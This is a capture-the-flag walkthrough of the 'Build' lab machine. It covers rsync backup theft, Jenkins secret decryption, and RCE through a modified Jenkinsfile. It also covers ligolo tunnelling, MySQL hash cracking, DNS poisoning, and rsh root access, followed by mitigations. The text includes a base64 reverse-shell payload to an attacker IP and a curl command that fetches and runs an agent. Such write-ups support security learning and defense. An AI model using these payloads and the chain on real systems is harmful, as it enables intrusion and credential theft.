Executive Summary
The "Build" machine demonstrates a complex attack chain involving multiple services in a containerized environment. The exploitation requires:
- Reconnaissance of internal Docker network via nmap
- Database enumeration and credential cracking
- Git service compromise with credential reuse
- Jenkins backup extraction and decryption
- RCE via Jenkinsfile modification
- DNS poisoning through PowerDNS-Admin
- Legacy rlogin/rsh exploitation with DNS hijacking
Phase 1: Initial Reconnaissance
1.1 External Nmap Service Enumeration
nmap -sV -Pn -T4 10.129.234.169 -oA nmap
Discovered Services on 10.129.234.169:
| Port | Service | Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 | Standard SSH |
| 53 | DNS | PowerDNS | DNS server |
| 512-514 | RSH services | Netkit rsh/rexecd/rshd | Legacy services |
| 873 | Rsync | (protocol v31) | Unauthenticated file access |
| 3000 | HTTP | Golang (Gitea) | Git service |
| 3306 | MySQL | MariaDB 11.3.2 | Filtered (seen later) |
| 8081 | HTTP | PowerDNS-Admin | Web UI |
Key Finding: Rsync service is open and unauthenticated!
1.2 Service Briefing: Understanding the Targets
What is Rsync?
Rsync (Remote Synchronization) is a utility for efficiently transferring and synchronizing files between systems.
Key Characteristics:
- Uses SSH or rsync protocol (port 873) for file transfer
- Designed for efficient incremental backups
- Can operate unauthenticated if configured improperly
- Commonly used for server backups and file synchronization
- When unauthenticated, it exposes all files in shared directories
Why It's Dangerous Here:
- No authentication required
- Backup directory contains full Jenkins configuration
- Jenkins backups include encryption keys and credentials
- Attacker can download entire backup without login
Real-World Impact:
- Access to sensitive configuration files
- Encryption keys exposed (enabling credential decryption)
- Source code and deployment scripts accessible
- Complete infrastructure blueprint
What is Jenkins?
Jenkins is an open-source automation server widely used for continuous integration and continuous deployment (CI/CD).
Key Characteristics:
- Orchestrates automated build, test, and deployment pipelines
- Uses Groovy-based Jenkinsfile for pipeline definitions
- Integrates with Git repositories via webhooks
- Executes arbitrary shell commands on agents
- Stores credentials in encrypted format (master.key encryption)
Why It's Dangerous Here:
- Webhooks automatically trigger on code changes
- Jenkinsfile can execute arbitrary system commands
- Root access to containers allows host manipulation
- Credentials reused across environments
- Backup contains decryption keys
Real-World Impact:
- Code injection through Jenkinsfile modification
- Remote Code Execution on build agents
- Access to production deployment credentials
- Container escape and privilege escalation
What is rsh (Remote Shell)?
rsh (Remote Shell) is a legacy protocol for executing commands on remote systems, predating SSH by decades.
Key Characteristics:
- Operates on port 513 (TCP)
- Uses .rhosts file for authentication (NO passwords required)
- Sends credentials in plaintext over the network
- Based on trust relationships between hosts
- Replaced by SSH in modern systems (but often still enabled)
Authentication Model (.rhosts):
hostname → Trust all users from this host
hostname username → Trust this specific user from this host
hostname + → Trust ANY user from this host (DANGEROUS!)
+ → Trust any user from any host (CRITICAL!)
Why It's Dangerous Here:
- No cryptographic authentication
- Susceptible to DNS spoofing/hijacking
- If you control the DNS records, you control access
Real-World Impact:
- Remote code execution as root
- No password required for authentication
- Network-based privilege escalation
- Cascading compromise from DNS poisoning
Phase 2: Jenkins Backup Exploitation via Rsync
2.1 Rsync Service Enumeration
rsync rsync://10.129.234.169/
# Output:
# backups backups
rsync -av rsync://10.129.234.169/backups/
# drwxr-xr-x 4,096 2024/05/02 09:26:31 .
# -rw-r--r-- 376,289,280 2024/05/02 09:26:19 jenkins.tar.gz
Critical: Jenkins backup is publicly accessible via rsync!
2.2 Jenkins Backup Download and Extraction
rsync -av rsync://10.129.234.169/backups/jenkins.tar.gz .
file jenkins.tar.gz
# Output: POSIX tar archive (GNU)
tar -xvf jenkins.tar.gz -C jenkins_backup/
Downloaded: 376MB unencrypted Jenkins configuration backup
2.3 Encrypted Credentials Location
Searching backup for encrypted secrets:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" jenkins_backup/
# Found: jenkins_configuration/jobs/build/config.xml
# <password>{AQAAABAAAAAQUNBJaKiUQNaRbPI0/VMwB1cmhU/EHt0chpFEMRLZ9v0=}</password>
Key Files Located:
-
/jenkins_configuration/secrets/master.key- Master encryption key -
/jenkins_configuration/secrets/hudson.util.Secret- Secret material -
/jenkins_configuration/jobs/build/config.xml- Job with encrypted password
2.4 Jenkins Secrets Decryption
Reference: HackTricks - Jenkins Security
Using the Jenkins offline decryption technique documented on HackTricks:
Using jenkins_offline_decrypt.py script from pwn_jenkins GitHub Repository:
# Setup Python environment for decryption
python3 -m venv jenkins-venv
source jenkins-venv/bin/activate
pip install pycryptodome
# Decrypt Jenkins secrets
python3 jenkins_offline_decrypt.py \
jenkins_backup/jenkins_configuration/secrets/master.key \
jenkins_backup/jenkins_configuration/secrets/hudson.util.Secret \
jenkins_backup/jenkins_configuration/jobs/build/config.xml
Result: Decrypted password: [REDACTED]
Important: This password is likely for the buildadm user in Gitea!
Phase 3: Gitea Service Compromise
3.1 Gitea Access with Decrypted Credentials
Navigate to http://build.vl:3000
Login Details:
- Username:
buildadm - Password:
[REDACTED](from Jenkins decryption)
Login successful! Access to buildadm account granted.
3.2 Repository and Webhook Analysis
Accessible repository: buildadm/dev
Repository Details:
- Contains:
Jenkinsfile(CI/CD pipeline configuration) - Last updated: 2 years ago
- Critical: Repository is editable by buildadm user!
Webhook Configuration Found:
- Target URL:
http://172.18.0.3:8080/gitea-webhook/post - Trigger: Push Events
- Payload: application/json
Attack Vector: Modifying Jenkinsfile will trigger Jenkins webhook and execute our payload!
Phase 4: Remote Code Execution via Jenkinsfile Modification
4.1 Malicious Jenkinsfile Payload
Edit the Jenkinsfile in buildadm/dev repository
Original Code:
pipeline {
agent any
stages {
stage('Do nothing') {
steps {
sh '/bin/true'
}
}
}
}
Reverse Shell Payload (Base64 encoded):
pipeline {
agent any
stages {
stage('pwn') {
steps {
sh 'bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMjMvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"'
}
}
}
}
Base64 decoded payload: bash -i >& /dev/tcp/10.10.15.223/4444 0>&1
4.2 Webhook Trigger and Shell Execution
- Commit changes to Jenkinsfile in Gitea
- Gitea sends webhook to Jenkins at 172.18.0.3:8080
- Jenkins builds the
buildadm/devpipeline - Executes the malicious shell command
- Reverse shell connects to attacker listener
# On attacker machine
nc -lvnp 4444
# Listening on 0.0.0.0 4444
# Reverse shell spawned
root@5ac6c7d6fb8e:/var/jenkins_home/workspace/build_dev_main#
Shell Access Gained: Root user inside Jenkins Docker container (172.18.0.3)
whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
hostname
# 5ac6c7d6fb8e (Docker container ID)
4.3 User Flag Retrieved
cd ~
cat user.txt
# [REDACTED]
Phase 5: Internal Network Discovery & Enumeration
5.1 Docker Network Analysis
From within Jenkins container, analyze network configuration:
cat /etc/hosts
# 172.18.0.3 5ac6c7d6fb8e
mount | grep overlay
# Shows Docker overlay filesystem mounting
ip addr show
# eth0: inet 172.18.0.3/16
Insight: We're inside Docker container on 172.18.0.3. Other services are on the 172.18.0.0/24 network.
5.2 Container Network Analysis
From within Jenkins container, analyze network configuration:
cat /etc/hosts
# 172.18.0.3 5ac6c7d6fb8e
mount | grep overlay
# Shows Docker overlay filesystem mounting
ip addr show
# eth0: inet 172.18.0.3/16
Insight: We're inside Docker container on 172.18.0.3. Other services are on the 172.18.0.0/24 network.
5.3 Network Tunneling Setup (Ligolo-ng)
To access internal services from attacker machine, setup tunneling:
# On attacker machine
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# INFO[0000] Listening on 0.0.0.0:11601
# In another terminal
sudo ip route add 172.18.0.0/24 dev ligolo
# Inside container - download and run ligolo agent
curl http://10.10.15.223/ligolo-agent -o agent
chmod +x agent
./agent -connect 10.10.15.223:11601 -ignore-cert
# INFO[0000] Connection established
Result: Attacker machine can now reach 172.18.0.0/24 network!
5.4 Internal Network Nmap Scan
Now that network tunneling is established, perform detailed enumeration of internal network:
# Comprehensive internal network scan
nmap -sV -Pn -T4 172.18.0.1 172.18.0.2 172.18.0.4 172.18.0.6
Network Topology Discovered:
| Host | IP | Port | Service | Version | Notes |
|---|---|---|---|---|---|
| Main Infra | 172.18.0.1 | 22 | SSH | OpenSSH 8.9p1 | TARGET for rsh |
| 53 | DNS | PowerDNS | Domain controller | ||
| 512-514 | RSH | Netkit rshd | Exploitation vector | ||
| 873 | Rsync | v31 | Source of backup | ||
| 3000 | HTTP | Gitea | Git with webhook | ||
| 3306 | MySQL | MariaDB 11.3.2 | UNAUTH ACCESS | ||
| 8081 | HTTP | PowerDNS-Admin | Admin panel | ||
| Secondary Gitea | 172.18.0.2 | 22 | SSH | OpenSSH 9.3 | Backup instance |
| 3000 | HTTP | Gitea | Same service | ||
| Jenkins Worker | 172.18.0.3 | (current) | - | - | Our shell location |
| MariaDB | 172.18.0.4 | 3306 | MySQL | MariaDB 11.3.2 | Database server |
| PowerDNS Worker | 172.18.0.5 | (filtered) | - | - | DNS worker node |
| PowerDNS Admin | 172.18.0.6 | 80 | HTTP | Gunicorn | DNS management |
Critical Discoveries from Internal Scan:
-
172.18.0.1 - Main server with all vulnerable services
- Unprotected MySQL (credentials in database)
- rsh service enabled with weak .rhosts
- PowerDNS integration
-
172.18.0.6 - PowerDNS-Admin web interface
- Manages all DNS records for build.vl domain
- Accessible via HTTP (no HTTPS required)
- Vulnerable to credential compromise
-
Network Layout - Everything is internal, no isolation
- Container (172.18.0.3) can reach all services
- Services trust each other (no internal firewall)
- DNS controls domain trust relationships
Phase 6: MySQL Enumeration and Credential Extraction
6.1 Unauthenticated MySQL Access
# From attacker machine through ligolo tunnel
mysql -h 172.18.0.1 -u root --skip_ssl
# Welcome to the MariaDB monitor
Critical Finding: MySQL accepts root login without password!
6.2 PowerDNS Database Enumeration
show databases;
# +--------------------+
# | Database |
# +--------------------+
# | information_schema |
# | mysql |
# | performance_schema |
# | powerdnsadmin |
# | sys |
# +--------------------+
use powerdnsadmin;
show tables;
select * from user;
# +----+----------+--------------------------------------------------------------+
# | id | username | password |
# +----+----------+--------------------------------------------------------------+
# | 1 | admin | $2b$12$s1hK0o7YNkJGfu5poWx.0u1WLqKQIgJOXWjjXz7Ze3Uw5Sc2.hsEq |
# +----+----------+--------------------------------------------------------------+
select * from records;
DNS Records Reveal:
-
db.build.vl→ 172.18.0.4 -
gitea.build.vl→ 172.18.0.2 -
intern.build.vl→ 172.18.0.1 (TARGET for spoofing!) -
jenkins.build.vl→ 172.18.0.3 -
pdns.build.vl→ 172.18.0.6 -
pdns-worker.build.vl→ 172.18.0.5
6.3 Hash Cracking
# Extract hash
echo '$2b$12$s1hK0o7YNkJGfu5poWx.0u1WLqKQIgJOXWjjXz7Ze3Uw5Sc2.hsEq' > admin.hash
# Crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
# winston (?)
Cracked Credential:
- Username:
admin - Password:
[REDACTED]
Phase 7: DNS Poisoning via PowerDNS-Admin
7.1 PowerDNS-Admin Login
Navigate to http://172.18.0.6 (accessible through ligolo tunnel)
Login Details:
- Username:
admin - Password:
[REDACTED](from hash cracking)
Login successful!
7.2 DNS Record Manipulation
Objective: Point intern.build.vl to attacker machine (10.10.15.223)
Steps:
- Click on build.vl zone
- Select Zone Records
- Find
internA record (currently pointing to 172.18.0.1) - Edit and change value to:
10.10.15.223 - Save changes
Verification:
dig intern.build.vl @10.129.234.169
# ;; ANSWER SECTION:
# intern.build.vl. 60 IN A 10.10.15.223
DNS poisoning successful! intern.build.vl now resolves to attacker IP.
Phase 8: Legacy rsh/rlogin Exploitation
8.1 .rhosts File Discovery
Within the Jenkins container, discovered an important file:
cat /root/.rhosts
# admin.build.vl +
# intern.build.vl +
Significance of .rhosts:
-
admin.build.vl +→ Any user from admin.build.vl can login as any user -
intern.build.vl +→ Any user from intern.build.vl can login as any user - The
+wildcard means ANY user from that host
8.2 rsh/rlogin Protocol Exploitation
Reference: QNX rsh Protocol Documentation
The rsh (remote shell) protocol uses .rhosts for authentication. According to the documentation:
Understanding .rhosts Trust Model:
-
hostname- All users from this host are trusted -
hostname username- Specific user from host can login -
hostname +- Any user from this host can login as any user (DANGEROUS!) -
+- Any user from any host can login (CRITICAL!)
Combined with DNS poisoning:
Attack Flow:
- DNS now resolves
intern.build.vl→10.10.15.223(attacker) - Main server (10.129.234.169) trusts
intern.build.vlfor rsh connections - When rsh receives connection from 10.10.15.223, it thinks it's from
intern.build.vl - .rhosts allows any user from
intern.build.vlto login - Connection is accepted without password!
8.3 rsh Connection to Main Server
From attacker machine:
rsh -v root@build.vl
# Trying 10.129.234.169 port 513...
# Connected.
# Welcome to Ubuntu 22.04.5 LTS
Success! Remote shell spawned with root privileges!
whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
hostname
# build
ls -la
# total 56
# drwx------ 8 root root 4096 Jul 24 2025 .
# -rw-r--r-- 1 root root 3592 Jul 23 2025 int
# -r-------- 1 root root 35 May 1 2024 .rhosts
# drwxr-xr-x 6 root root 4096 Jul 22 2025 scripts
8.4 Root Flag Retrieved
cat root.txt
# [REDACTED]
Complete Attack Chain Summary
1. Nmap reconnaissance (10.129.234.169)
└─ Discovers: Rsync, SSH, DNS, MySQL, Gitea, etc.
2. Rsync enumeration
└─ Finds: jenkins.tar.gz backup (376MB)
3. Jenkins backup analysis
└─ Extracts: master.key, hudson.util.Secret, encrypted credentials
4. Jenkins offline decryption
└─ Decrypts: buildadm password
5. Gitea login with buildadm credentials
└─ Accesses: buildadm/dev repository
6. Jenkinsfile modification
└─ Adds: Base64-encoded reverse shell payload
7. Webhook trigger and RCE
└─ Executes: Reverse shell to attacker (Jenkins container)
8. User flag captured
└─ Inside: Docker container 172.18.0.3
9. Internal network enumeration
└─ Discovers: 172.18.0.0/24 network topology
10. Network tunneling setup (Ligolo-ng)
└─ Enables: Access to 172.18.0.0/24 from attacker
11. MySQL enumeration (172.18.0.4)
└─ Finds: PowerDNS admin credentials (hash)
12. Hash cracking (John the Ripper)
└─ Cracks: bcrypt hash → plaintext password
13. PowerDNS-Admin login
└─ Accesses: Zone management interface
14. DNS record poisoning
└─ Changes: intern.build.vl → 10.10.15.223
15. rsh exploitation with .rhosts trust
└─ Connects: root@build.vl without password
16. Root flag captured
└─ On: Main infrastructure server 10.129.234.169
Attack Timeline & Progression
| Step | Action | Source | Target | Result |
|---|---|---|---|---|
| 1 | Nmap scan | Attacker | 10.129.234.169 | Discovered services |
| 2 | Rsync access | Attacker | 10.129.234.169:873 | Jenkins backup |
| 3 | Jenkins decrypt | Attacker | Local filesystem | buildadm credentials |
| 4 | Gitea login | Attacker | 10.129.234.169:3000 | Repo access |
| 5 | Jenkinsfile edit | Attacker | Gitea | Webhook trigger |
| 6 | RCE trigger | Jenkins | 10.129.234.169:8080 | Reverse shell |
| 7 | User flag | Attacker | 172.18.0.3 | user.txt |
| 8 | Network enum | 172.18.0.3 | Internal network | Docker topology |
| 9 | Ligolo tunnel | Attacker | 10.129.234.169:11601 | Network access |
| 10 | MySQL query | Attacker | 172.18.0.4:3306 | Hash extraction |
| 11 | Hash cracking | Attacker | Local | Plaintext password |
| 12 | PowerDNS login | Attacker | 172.18.0.6 | Zone management |
| 13 | DNS poison | Attacker | 172.18.0.6 | intern.build.vl → attacker IP |
| 14 | rsh connection | Attacker | 10.129.234.169:513 | Root shell |
| 15 | Root flag | Attacker | 10.129.234.169 | root.txt |
Critical Vulnerabilities & Root Causes
| # | Vulnerability | Root Cause | Impact | CVSS |
|---|---|---|---|---|
| 1 | Exposed Rsync Service | No authentication configured | Backup access | 9.8 |
| 2 | Unencrypted Jenkins Backup | No encryption at rest | Credential exposure | 9.9 |
| 3 | Jenkins Secret Decryption | Master key in backup | Password recovery | 9.8 |
| 4 | Credential Reuse | Same password across services | Account compromise | 8.5 |
| 5 | Unauthenticated MySQL | No root password set | Database access | 9.1 |
| 6 | Weak .rhosts Configuration |
+ + wildcard too permissive |
Unauthorized access | 9.0 |
| 7 | rsh Service Enabled | Legacy service not disabled | Privilege escalation | 8.1 |
| 8 | DNS Admin Compromise | No 2FA/OTP enforcement | DNS hijacking | 8.5 |
| 9 | Editable Git Repository | No branch protection | Code injection | 8.8 |
| 10 | Webhook to Jenkins | Automatic pipeline execution | RCE | 9.9 |
Key Security Findings
Architectural Issues
- No network segmentation - Docker containers can access host services
- No API authentication - Services exposed without credentials
- Credential reuse across services - Single password for multiple systems
- Legacy protocols enabled - rsh/rlogin should not exist in modern infrastructure
Configuration Failures
- Jenkins backup not encrypted - Sensitive data in plaintext
- MySQL root without password - Most critical database exposed
- .rhosts too permissive - Wildcard entries allow any user
- Gitea webhook unauthenticated - No verification of webhook source
Secrets Management
- Master key in backup - Encryption key should be separate
- No secret rotation - Credentials unchanged for 2 years
- Credentials in code - Jenkinsfile contains hardcoded references
- No HashiCorp Vault - Manual credential management
Mitigation Recommendations
Immediate Actions (Critical)
- Disable rsh/rlogin services - Remove ports 512-514 entirely
systemctl stop rsh-server
systemctl disable rsh-server
- Encrypt MySQL - Set root password and require authentication
ALTER USER 'root'@'localhost' IDENTIFIED BY 'strong_password';
FLUSH PRIVILEGES;
- Restrict Rsync - Implement authentication and IP whitelisting
# /etc/rsyncd.conf
[backups]
path = /var/backups
auth users = backup_user
secrets file = /etc/rsync.secrets
hosts allow = 10.10.15.0/24
- Encrypt Jenkins backups - Implement AES-256 encryption
tar czf - jenkins_home | openssl enc -aes-256-cbc -out backup.tar.gz.enc
- Fix .rhosts configuration - Remove wildcard entries
# Before: admin.build.vl +
# After: admin.build.vl admin_user
Short-term Improvements (1-2 weeks)
- Implement 2FA/OTP - Enable on all admin panels
- Network segmentation - Isolate Docker containers with firewall rules
- Webhook verification - Add secret tokens to Gitea webhooks
- Repository protection - Require pull requests before merge
- Audit logging - Enable on MySQL, Jenkins, PowerDNS
Long-term Strategy (1-3 months)
- HashiCorp Vault integration - Centralized secret management
- Rotate all credentials - 30-day rotation policy
- Remove legacy services - Eliminate rsh/rlogin entirely
- Infrastructure as Code - Automate secure configuration
- Secrets scanning - Pre-commit hooks to detect credentials in code
- Penetration testing - Regular security assessments
- Container hardening - Non-root users, read-only filesystems
- Zero-trust architecture - Assume breach, verify everything
Technical Lessons Learned
1. Legacy Protocols are Dangerous
- rsh/rlogin use plaintext authentication
- .rhosts trust model is fundamentally broken
- No encryption, no modern security features
- Action: Remove completely, use SSH with key-based auth
2. Backups are High-Value Targets
- Backups contain full system state
- Encryption keys often in same location
- Unencrypted = full system compromise
- Action: Encrypt with key management system
3. Credential Reuse is Critical Path
- One compromised service = all services compromised
- Jenkins backup contained password for Gitea
- Action: Use unique credentials per service
4. Network Segmentation Matters
- Docker containers shouldn't access host services directly
- Internal services exposed to container
- Action: Implement network policies, firewall rules
5. Authentication Failures
- No passwords, no 2FA
- Services assume trust they shouldn't have
- Action: Require auth on everything, implement 2FA
Tools & Techniques Used
Enumeration & Reconnaissance:
-
nmap- Network scanning and service detection -
rsync- File service enumeration -
mysql-client- Database access -
dig- DNS queries -
ligolo-ng- Network tunneling
Exploitation:
-
john- Hash cracking (bcrypt) -
git- Repository cloning and modification - Bash scripting - Payload creation and encoding
- Custom Python scripts - Jenkins decryption
Post-Exploitation:
-
rsh/rlogin- Legacy protocol exploitation - Standard Unix utilities - System enumeration
References & Further Reading
Key Resources Used in Exploitation
-
- Used for: Jenkins offline decryption techniques
- Provided: Regex patterns for finding encrypted credentials
- Provided: Link to pwn_jenkins script for decryption
-
- Used for: Offline Jenkins secret decryption
- Provided: jenkins_offline_decrypt.py script
- Enabled: Recovery of buildadm credentials without Jenkins access
-
QNX rsh Protocol Documentation
- Used for: Understanding .rhosts file format and behavior
- Explained: Trust model and wildcard usage
- Clarified: How rsh authenticates users based on .rhosts rules
Additional References
- PowerDNS Official Documentation - For DNS record manipulation
- Ligolo-ng Network Tunneling - For internal network access
- OWASP - Secrets Management - Best practices
- Docker Security Best Practices - Container hardening












